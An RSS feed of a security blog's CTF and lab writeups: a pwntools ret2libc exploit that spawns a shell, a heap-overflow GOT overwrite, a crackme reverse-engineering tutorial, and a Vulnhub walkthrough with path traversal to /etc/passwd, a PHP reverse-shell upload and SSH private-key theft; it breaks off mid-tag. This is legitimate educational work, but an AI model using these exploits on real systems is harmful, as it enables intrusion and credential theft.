<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xwan on Medium]]></title>
        <description><![CDATA[Stories by 0xwan on Medium]]></description>
        <link>https://medium.com/@0xwan?source=rss-1054b2339bb4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*bEj6sa7oTv9tuUOPqld-WQ.jpeg</url>
            <title>Stories by 0xwan on Medium</title>
            <link>https://medium.com/@0xwan?source=rss-1054b2339bb4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:44:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xwan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CYDES 2023 Pwn Challenge Writeup]]></title>
            <link>https://medium.com/@0xwan/cydes-2023-pwn-challenge-writeup-54cd73dd1ba0?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/54cd73dd1ba0</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Thu, 13 Jul 2023 16:04:27 GMT</pubDate>
            <atom:updated>2023-07-13T16:04:27.747Z</atom:updated>
            <content:encoded><![CDATA[<p>During the competition, I wasnt able to finish the challenge. I was close to finish it but my script doesnt work for some reason. So, after the competition I try to fix the script and here is the writeup on how to solve the challenge.</p><p>For this challenge, there is only an IP and port given to us. We dont get the file binary but lets look what the program does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*LrBPj_-AdfBm0ocai4gDcg.png" /><figcaption>accessing the challenge remotely</figcaption></figure><p>So the program try to read any file that the user supplies. The program is actually vulnerable to arbitrary file read. We can try to read /etc/passwd file using ../../../../etc/passwd as the input, and we will be able to read that file. Since this is a pwn challenge, we can also try to insert a long input to see if the program crashes, indicates that there is a potential buffer overflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dUqxssedJYAHObOq_AR7pg.png" /></figure><p>It seems like there is a detection for buffer overflow here (maybe?) or maybe we can bypass that protection. It’s hard to be sure because we dont have the source code. But there is a trick on how to get the binary file. we can try to read /proc/self/cmdline to find out what is the name of the file and then we can look at every directory to find the file and read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*U45gC1PoC_yRJ877gN0IUA.png" /></figure><p>Here we can see that the program name is actually fil3_r3ad3r ! so we can try to read that file and see the content of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9LYnU01-n8Txf-pIP836GA.png" /></figure><p>As you can see above, we successfully read the program file. So now, we can download the file and analyze it locally. For this, I dont know the correct way to download that file because I tried many method but none of them can help me download the file without corrupting it. But I have a method that works. So below I list step by step on how I manage to download that file:</p><p>1.While netcat to the server, run wireshark in the background.</p><p>2.Try to read the content of fil3_r3ad3r file by inserting ../fil3_r3ad3r when the program ask for filename.</p><p>3.Stop the wireshark and save the pcap file.</p><p>4.Find the TCP request of reading the fil3_r3ad3r file, and follow the TCP stream.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCV1-S10rEAEMwcc8zm0Kw.png" /></figure><p>5.Next, change the format from ASCII to Raw.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3L8YHYxA6q7Mn3V1uffp5w.png" /></figure><p>6.Copy the hex value of the file and paste it on any hex editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhuvbjqQzaQ_lYpAdguG9A.png" /></figure><p>7.Save the hex editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oDSK21zLlsuoVTVYkNjjBg.png" /></figure><p>Now we got the binary file, we can open it on ghidra and do analysis. I will start with checksec, to see the protection that the file has.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*_ExhVvNQtNyvkBoynIxyUw.png" /></figure><p>No PIE and more importantly, no canary. That means the buffer overflow detection we encounter earlier is a custom and we can bypass it. Let analyze it with ghidra to confirm it.</p><p>Then we found out that the binary actually vulnerable to buffer overflow because it uses a gets function to get the user input. Even though the code has a input size check, it didnt implement the restriction properly. We can still overflow the input and get segmentation fault. The proper way to prevent buffer overflow here is, it should use exit() function whenever the input length is more than the allowed length so the user wont be able to reach the return statement at the bottom and change the flow of the program execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*3Ib9MuqEZDlXIiwmrIskDQ.png" /></figure><p>Now we can develop our exploit. First, we need to identify the length of the input before the program crash using cyclic and gdb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rB28eb8cKTdpICL5jfeZ2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_cTRVA3IMWXvSbOQiJSQqg.png" /></figure><p>So our exploit padding will be 104. Next, we need to find where is system function and use it to execute /bin/sh. In ghidra, we can find the system function inside the program, but the problem is we dont have the string ‘/bin/sh’ availabe inside the program. So we have no choice but to use technique called ret2libc to successfully exploit this program. In ret2libc, we need to leak address of any function from the LIBC library and calculate the base address of LIBC library. Then from the base address of LIBC, we can find the address of ‘/bin/sh’ string. Here is the full exploit to get remote code execution in this program.</p><pre>from pwn import *<br>import binascii<br><br>exe = &#39;./idk.bin&#39;<br>elf = context.binary = ELF(exe, checksec=False)<br>libc = ELF(&#39;/lib/x86_64-linux-gnu/libc.so.6&#39;) <br><br>p = process(exe)<br><br>offset = 104<br>pop_rdi = 0x4014c3<br>ret = 0x40101a<br><br>payload = flat({<br>    offset: [<br>        pop_rdi,  # Pop got.puts into RDI<br>        elf.got.printf,<br>        elf.plt.puts,  # Call puts() to leak the got.puts address<br>        elf.symbols.main  # Return to vuln (to overflow buffer with another payload)<br>    ]<br>})<br><br>p.sendlineafter(b&#39;(Ex secret.txt): &#39;, payload)<br>p.recvline()<br><br>addr = p.recvline()<br>print(addr)<br><br>leak_addr = &#39;0x&#39; + binascii.hexlify(addr[::-1].strip()).decode() # reverse the string and convert it to 0x form<br>print(leak_addr)<br><br>leak_puts = int(leak_addr, 16)<br>libc.address = leak_puts - libc.symbols.printf<br>binsh = next(libc.search(b&#39;/bin/sh&#39;))<br><br>print(f&#39;/bin/sh : {binsh}&#39;)<br><br>payload2 = flat({<br>    offset: [<br>        pop_rdi,  # Pop got.puts into RDI<br>        binsh,<br>        ret,<br>        elf.plt.system,  # Call puts() to leak the got.puts address<br>    ]<br>})<br><br>p.sendlineafter(b&#39;(Ex secret.txt): &#39;, payload2)<br><br>p.interactive()</pre><p>Then we got the shell !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfTBv0lMjBnvjwGNz_37Aw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54cd73dd1ba0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Binary Exploitation: Heap Overflow to Overwrite GOT]]></title>
            <link>https://medium.com/@0xwan/binary-exploitation-heap-overflow-to-overwrite-got-d3c7d97716f1?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3c7d97716f1</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Mon, 19 Sep 2022 07:28:08 GMT</pubDate>
            <atom:updated>2022-09-19T07:28:08.018Z</atom:updated>
            <content:encoded><![CDATA[<p>Heap overflow attack and overwrite Global Offset Table in a simple binary exploitation challenge</p><h3>Introduction</h3><p>A few days ago, I got a challenge from a friend of mine. He made a binary exploitation challenge and I try to solve it. The challenge involve a heap overflow exploit, use it to overwrite a Global Offset Table (GOT) and change the execution flow of the program. To summarize the exploit, there is a pointer to a user input stored in heap, so if we can change the pointer to point to a different new location, then our user input will be stored to the new location.</p><h3>Challenge</h3><p>So first we start by checking the file type using file command and check the protection applied on the file using checksec command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bsQCA50RkgpJA84pvB6FwA.png" /><figcaption>Basic file and protection check</figcaption></figure><p>As you can see above, the file is an ELF 64-bit binary and not stripped (so it is easy to do static analysis). The protection that is applied is only NX which means we can’t execute shellcode. To run the file, we need to supply 2 arguments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*RU01_yqU1IsCn2rsSf46HA.png" /><figcaption>running the file</figcaption></figure><p>It says login failed. Let see what the program actually does by disassemble it in Ghidra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*mmE-Nl8UUmgoiulmZ74tHw.png" /><figcaption>Static analysis in ghidra</figcaption></figure><p>Red box: in this part, the program use malloc to set up heap<br>Green box: the program generate a random value<br>Blue box: the program takes the user input and the random value, stores it in heap using strcpy(insecure function that could lead to overflow attack)<br>Purple box: the user input is compare to the random value. If the result says it matches, it will return. Else, login fail message is print to the screen.</p><p>There is also another function called administrator(). This function is the function that we must execute to solve this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*FyexwcHJWih1fZil7-3RbA.png" /><figcaption>administrator() function need to be execute</figcaption></figure><h3>Analysis</h3><p>As I said earlier, this program use an insecure function which is strcpy() to stores user input in heap. strcpy() can cause an overflow attack since this function doesn’t check the size of the input it takes and stores it in a variable, more than the variable can store. Which means we can supply a long input and overwrite other data that is also stored in the heap. But what kind of ‘other data’ stored in the heap other than our user input? Let’s check it using GDB.</p><p>First let set up a breakpoint before our program exit. Disassemble main and find the address of exit() function and setup a breakpoint there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHX1jHCZauhYkLCJp4DC2Q.png" /><figcaption>Setup breakpoint before program exit</figcaption></figure><p>Then run the program with run AAAA BBBB until we hit the breakpoint and inspect the heap using x/300x 0x405000 command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*EneYqBG5gd4TxOjyAWNj0w.png" /><figcaption>Heap memory</figcaption></figure><p>As you can see, the red box is our input 0x41414141(AAAA) and 0x42424242(BBBB). It is unexpected that the heap also stores pointers or addresses (in the green box). But what are they pointing to? Let’s check it using x/x &lt;address we found&gt; command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*a0cKIrfilH3Ubq30intiKA.png" /><figcaption>Finding out where the pointer points to</figcaption></figure><p>Surprisingly, the pointers or addresses actually point to our user input! So if we overwrite these pointers to addresses like 0x012345678, our input will be stored at the location 0x012345678. This is just my theory but let’s see if it’s true. Run run $(python2 -c print’”A”*76&#39;) BBBB this command and inspect the heap again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*EP36yvbrf43p6iHO50yx-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*mBqHtZWBsZ2fc_nXiEBZxA.png" /><figcaption>One of the pointer is overwritten</figcaption></figure><p>Wow we received ‘segmentation fault’ and looking to our heap, we manage to overwrite the address to new address which is 0x41414141. No wonder we were getting segmentation fault because the program tries to store our input to an address that doesn’t exist, 0x41414141.</p><h3>Solution</h3><p>Now we can write any data to any location we want, we can overwrite the global offset table (GOT) of exit() function. I don’t want to explain much about GOT but GOT contains an address to a function. So when our program call a function that is in an external library like LIBC, it’s going to refer to GOT to find the address of the function, go to the address and execute the instruction of that function. I hope this make sense. So what we are going to do is, overwrite the address of exit() to the address of administrator(). So when our program call exit(), it will execute the administrator() instead of exit(). Cool!</p><p>First we need to find out the address that stores exit(). Disassemble main again using disassemble main command and find the address of exit(), in my case it’s 0x401090. Then run disassemble &lt;address of exit&gt;. And now we have the address that stores exit() in GOT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*3NEu_TVi4O4U2dYAv-IN5Q.png" /><figcaption>Find the address that stores exit() function</figcaption></figure><p>Next, find the address of administrator() by using disassemble administrator command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*ZJy7U-c3YL0NThrJjaMuaQ.png" /><figcaption>Find the address of administrator()</figcaption></figure><p>Now let’s craft our payload to overwrite address in the heap first. We need to fill the heap with 72 characters of A’s (or any characters) and then add the address of the GOT. Note that we need to insert least significant bit first.<br>python2 -c print’”A”*72 + “\x48\x40\x40”’</p><p>This payload will be use in the first argument of our command like:<br>./timbunan2 &lt;first payload here&gt; &lt;second payload here&gt;</p><p>The second payload will be the address of our `administrator()`.<br>python2 -c print’”\xa2\x11\x40&quot;’</p><p>Then the final payload will be<br>./timbunan2 $(python2 -c print’”A”*72 + “\x48\x40\x40”’) $(python2 -c print’”\xa2\x11\x40&quot;’)</p><p>Let’s run with GDB first, use run command and followed with our payload. Then run x/10x 0x404048 to see if we successfully overwrite the GOT with address of administrator() which is 0x4011a2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*4LTSGBlUkxqppTa8A89BzA.png" /><figcaption>running the exploit in GDB to see if it’s work</figcaption></figure><p>We succeed! Let’s run without GDB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*ofEw6rD3lMqk2L0KmKFfyQ.png" /><figcaption>running the exploit with the file</figcaption></figure><p>It worked! Now we solved the challenge :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3c7d97716f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Reverse Engineer Executable Files]]></title>
            <link>https://medium.com/@0xwan/how-to-reverse-engineer-executable-files-230216bdca3b?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/230216bdca3b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Mon, 25 Apr 2022 01:09:25 GMT</pubDate>
            <atom:updated>2022-04-25T01:09:25.075Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi readers! In this blog I will show you step by step on how to reverse engineer an executable file written in C. Reverse engineering can be overwhelming for beginners but I will try my best to explain and share tips on how you can easily understand the flow of the program just by reading the assembly code (static analysis).</p><p>Software that are used:</p><ul><li>IDA Freeware</li><li>Git bash</li></ul><p>In this blog I will use a sample file. You can download it from <a href="https://crackmes.one/crackme/5c6fb03b33c5d4776a837d14">here</a>. The password of the zip is crackmes.de. Let’s get started!</p><h3>Reverse Engineering</h3><p>Reverse engineering is a process or method through which one attempts to understand how an application works when we don’t have the source codes. We understand it by disassembling the application and look at each function’s implementation.</p><h4>Prerequisite</h4><p>Before we jump to the main agenda, first we must know some things before we can reverse engineer an executable files which is:</p><ul><li>Basic assembly instructions</li><li>Registers</li></ul><p>There are also other things that need to be understand but the most important things are the assembly language and registers.</p><p>When we disassemble an application written in a language like C or C++, we won’t get the original source code of the application but we will get the assembly language instruction. This is because when we create an application, we compile the C/C++ code to assembly language.</p><p>Assembly language is important because most of the time we will deal with it even though there is a software that can convert the assembly instruction to a pseudo-code which is more understandable. You don’t have to be a master or can write a program by using assembly language in order to do reverse engineering. You just need to understand some basic instructions and keywords enough to know what the code does. I will provide a link to a source to learn some basic instructions.</p><p>Next is registers. Register is one of a small set of data holding places that are part of the computer processor. A register may hold an instruction, a storage address, or any kind of data (such as a bit sequence or individual characters). Some instructions specify registers as part of the instruction. Register is like a variable that stores data. It also used to perform mathematical calculation. You can learn about common registers <a href="https://www.eecg.utoronto.ca/~amza/www.mindsec.com/files/x86regs.html">here</a>. I won’t explain much about register in this blog.</p><h4>Reverse engineer a sample program</h4><p>Now we will start the main purpose of this blog. We will reverse engineer this <a href="https://crackmes.one/crackme/5c6fb03b33c5d4776a837d14">file</a>. Let’s get started.</p><p>**PLEASE NOTE: When we do reverse engineer, it is safe to do it inside an isolated environment like virtual machine to prevent from executing malicious file in case if the file is malicious. But in this blog I am not using a malicious file.</p><p>First we need to know what file we are dealing with. I will use file command in git bash to find out the type of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*T9nHrQOGXSBr4-lN71qzkw.png" /><figcaption>file command output</figcaption></figure><p>From the command, it says the file is a 32-bit PE executable file. It’s for windows so I won’t use linux to reverse engineer it.</p><p>Next, we can try run the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*suhz9Ec2I-X2WoRwHSj7Kw.png" /><figcaption>running the program</figcaption></figure><p>What the program does is it asks user to enter password and then display a message if the entered password is wrong or correct. From this behaviour, we can conclude that our goal is to find out the correct password. So let’s disassemble this file and figure out how the password checking functionality works.</p><p>Open IDA, Choose new and drag our file into IDA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*GRGxtjbgz6PtyU6LvoLQEw.png" /><figcaption>create new file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75Uey8qGBySeltSLmxhwbQ.png" /><figcaption>drag exe file</figcaption></figure><p>Then click ‘OK’ and ‘Yes’ and import the debugging file. Then it will look like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5qK31FV_hiScpUCoLytErQ.png" /><figcaption>view in IDA</figcaption></figure><p>It does look overwhelming, but rest assured, I will walk you through each process to reverse engineer this file and collect the correct password.</p><p>First let’s look at the top box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*9ynqiDF7S9RxaC0R82Ut0A.png" /><figcaption>top box</figcaption></figure><p>You see a lot of instructions here. But it’s easy to understand what is happening here. The tips here is to look at the most significant things which is the function. Look at the call instruction. This instruction call a function. Then look at the functions, there are printf, gets and strcmp. When we see printf the program is actually printing something on the screen. If we remember the program actually display a welcome message. So now we know our position or which part of the program we are looking at now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*Lh-phQw4lhkbeMGoVyDY3w.png" /><figcaption>printing welcome message</figcaption></figure><p>Move on to the next function which is printf again. But this time, it display the password: before the program ask for user input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*l4lx_7vrlk6cFHDLp8dQ5Q.png" /><figcaption>display “Password: ”</figcaption></figure><p>Next is gets function. As we know gets function takes user input so what this assembly instructions do is taking user input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*vvJAxUqR8VL2ESjTo6YjBQ.png" /><figcaption>gets function called</figcaption></figure><p>The instruction above says that they take the address of szPassword variable and store it inside $eax register. Then after gets function finishes, the user input is stored inside whatever address the $eax holds. In this case $eax holds address of szPassword. So the user input is stored inside szPassword variable.</p><p>Last function is strcmp. This function compares two strings and check if these two strings equal or not. But what is the strings that is being compared?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*xdiwA-gNabVyAMvZAoHigA.png" /><figcaption>strcmp function called</figcaption></figure><p>As you see above, before strcmp was called, the instructions push something onto the stack. The first one is szPassword, which stores the user input and then the instructions push str1onto the stack. Then strcmp is called. These two strings, szPassword and str1 are compared by the strcmp function. So basically our input is being compared to str1.</p><p>Next, let’s take a look at what happen after our input being compared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdxQ1ONM6TSa6jURATQybg.png" /></figure><p>There is two path here, first is red path and the second is green path. If the strcmp return 0 (our input is equal to str1), we will go to the red path and we will go to the green path if our input is not equal to str1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-QdycH3BPa7vA8XpJBafEg.png" /></figure><p>Now let’s look at str1 value. It says LiL2281337.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*NbMuD_OcgZiZQDb4zXE2FQ.png" /><figcaption>str1 variable</figcaption></figure><p>Check if LiL2281337 is the correct password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*Er-dcLxqsssUE24sPPFu6A.png" /></figure><p>Success! seems like we found the correct password!</p><h4>Additional</h4><p>You may ask, how do I know that szPassword and str1 are the strings that are being compared by strcmp? Let me explain in-depth how function calls in assembly.</p><p>strcmp is a function that takes two parameters.</p><pre>int strcmp (const char* str1, const char* str2);</pre><p>In 32-bit assembly, before a function with parameters being called, the value of the parameters will be pushed onto the stack first. Then when the function is called, it will take whatever value from the top of the stack as its parameter value. Let’s take a look at this instructions again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*xdiwA-gNabVyAMvZAoHigA.png" /></figure><p>As you can see there are two push instructions, push ecx pushes our input onto the stack and push offset str1 pushes the correct password onto the stack. Now our input and the correct password are placed at the top of the stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*F3L3wojUockOjZCp_P-3dg.png" /><figcaption>the stack visualization</figcaption></figure><p>Then strcmp is called, it will take two items from the top of the stack to fulfill its two empty parameters. That’s is how function with parameters being called in 32-bit assembly.</p><p>Same as the printf, printf takes string to be display as its parameter. So the string must be pushed onto the stack first before printf is called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*Lh-phQw4lhkbeMGoVyDY3w.png" /><figcaption>printf called in assembly</figcaption></figure><h4>Conclusion</h4><p>Reverse engineering is quite hard for beginner but with the right mindset and methodology, anyone can understand the flow of the program even though they have only a little knowledge about assembly language. The most important thing is to find effective methodology and know what to look for. My recommendation is to read as much reverse engineering writeup as possible to expand our knowledge in reverse engineering.</p><h4>Reference</h4><p><a href="https://www.tutorialspoint.com/assembly_programming/assembly_basic_syntax.htm">https://www.tutorialspoint.com/assembly_programming/assembly_basic_syntax.htm</a></p><ul><li><a href="https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture">x86 Assembly/X86 Architecture - Wikibooks, open books for an open world</a></li><li><a href="https://www.eecg.utoronto.ca/~amza/www.mindsec.com/files/x86regs.html">x86 Registers</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=230216bdca3b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub: Legacy Hang Tuah Writeup]]></title>
            <link>https://medium.com/@0xwan/vulnhub-legacy-hang-tuah-writeup-9937c5a51b8e?source=rss-1054b2339bb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/9937c5a51b8e</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[0xwan]]></dc:creator>
            <pubDate>Sat, 16 Apr 2022 15:29:56 GMT</pubDate>
            <atom:updated>2022-04-16T15:29:56.271Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*MWZ_ObMc2VrGH01cmpXnaQ.png" /></figure><h3>RECON</h3><p>Start scanning for open ports using nmap</p><p>nmap -sC -sV -O -A 192.168.71.249 // scan top 1000 ports</p><p>nmap -p- --min-rate=1000 -v 192.168.71.249 // all 65000 ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*200-QfGiS89w4DXxJzAigA.png" /><figcaption>nmap scan</figcaption></figure><p>There are 3 ports open which is 22-ssh, 80-http and 777-ftp. Try to login to ftp as anonymous user with anonymous as username and no password. I can’t list files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*YKtqZCuMVKNbA1oJsSYxfg.png" /><figcaption>anonymous login ftp</figcaption></figure><p>Move on to http port. I ran nikto in the background while inspecting the webpage.</p><p>nikto -h <a href="http://192.168.71.249/">http://192.168.71.249</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nSv6JZsTCoPGhiu9_VE24g.png" /><figcaption>default apache webpage</figcaption></figure><p>nikto found /robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oW7f9Jc_IskfEYBGiAMqiA.png" /><figcaption>nikto scan result</figcaption></figure><p>robots.txt gives the domain name legacyhangtuah.com. So I add them in /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*fn9DNDLDutDANz6idmvV6w.png" /><figcaption>robots.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*GBU9NWqtFR25z-dQeX4U4Q.png" /><figcaption>add domain name in /etc/hosts file</figcaption></figure><p>Now we can visit <a href="http://legacyhangtuah.com/">http://legacyhangtuah.com</a> in browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4f2sN5PyZ3y10z9ozgH7Vg.png" /><figcaption>legacyhangtuah.com</figcaption></figure><p>Since we have the domain name, we can try run gobuster to find any virtual host.</p><p>gobuster vhost -u legacyhangtuah.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt</p><p>Seems like we found 1 vhost door.legacyhangtuah.com. We need to add this in /etc/hosts file too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*QSCuBfQKXjBYG7BopjYYTw.png" /><figcaption>vhost result</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*vYBLFYniwHZmAqkcI7BHqQ.png" /><figcaption>adding door.legacyhangtuah.com in /etc/hosts</figcaption></figure><p>Now we can do directory bruteforce on both domain using gobuster.</p><p>gobuster dir -u http://legacyhangtuah.com -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e .php,.js,.html,.txt,.zip,.tar.gz</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x4YvPM-nA795cFrWmmTHgg.png" /></figure><p>gobuster dir -u http://door.legacyhangtuah.com -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e .php,.js,.html,.txt,.zip,.tar.gz</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C07Y1dO1jR4AdUds2-ln_A.png" /></figure><p>Found text file in <a href="http://legacyhangtuah.com/admin.txt.">http://legacyhangtuah.com/admin.txt.</a> It says we are admin?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*bL5EcL530kntnfaHB-QrbQ.png" /><figcaption>admin.txt</figcaption></figure><p>Found an interesting path in door.legacyhangtuah.com but it asks for credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uIKAPW34ntATPmQ7QzK3JA.png" /><figcaption>/webdav path ask for credentials</figcaption></figure><p>Try admin:admin and we are logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*RMoSxUTjaczIBlKLBbRYVA.png" /></figure><p>It contains password for admin. Since it is webdav, let’s test if it is vulnerable and if we can upload file via PUT method. So open burpsuite, intercept the request and refresh the page. Then edit the request so it looks like in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*tS44aisgTMqEvO17tRThIg.png" /><figcaption>upload file via PUT method</figcaption></figure><p>Seems like it’s vulnerable and our file has successfully uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*Ktn1B-cOtUNyUGCXWkxb9w.png" /><figcaption>test.txt uploaded</figcaption></figure><h3>FOOTHOLD</h3><p>Now that we can upload file, we can upload a reverse tcp php file. So let’s intercept the request again and upload the php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*igz1v0mOE7B7GCVYcN1ICQ.png" /><figcaption>uploading php file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*DkNn6-kYEV_hhpGD4fwt6A.png" /><figcaption>php file uploaded</figcaption></figure><p>Now set up a netcat listener and visit /webdav/reverse.php and we got shell as www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*FT_loaqYtnwQYBvUnxN76w.png" /><figcaption>shell as www-data</figcaption></figure><h3>PRIVILEGE ESCALATION (USER)</h3><p>After walk around a bit, I found .bash_history file under /var/www. This file contains history of bash command made by user www-data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*pr8l_eKLnBBBBvlsGUcrrg.png" /></figure><p>Read the file and we found out that there are commands we can use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*msuN6AgdznDu5ql169YhCQ.png" /></figure><p>We can write file name inside /opt/pendekar/official_letter.txt for example ‘/etc/passwd’ and then read /home/pendekar/send_letter.txt to read the content of /etc/passwd file. So we can write ‘/home/pendekar/.ssh/id_rsa’ into official_letter.txt and read pendekar’s ssh private key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*dFP82iFwubqe8ieUlzwVog.png" /><figcaption>leak ssh private key</figcaption></figure><p>Now we can ssh as pendekar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*eO7tSF-HODHH3GDXmYNAug.png" /></figure><p>But we need to change user to hangtuah. By reading notes inside hangtuah’s home directory, we can use same private key to log in as hangtuah.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*TEetW7evaxnwgynMlPNSUw.png" /><figcaption>lastnotes.txt</figcaption></figure><figure><img alt="" 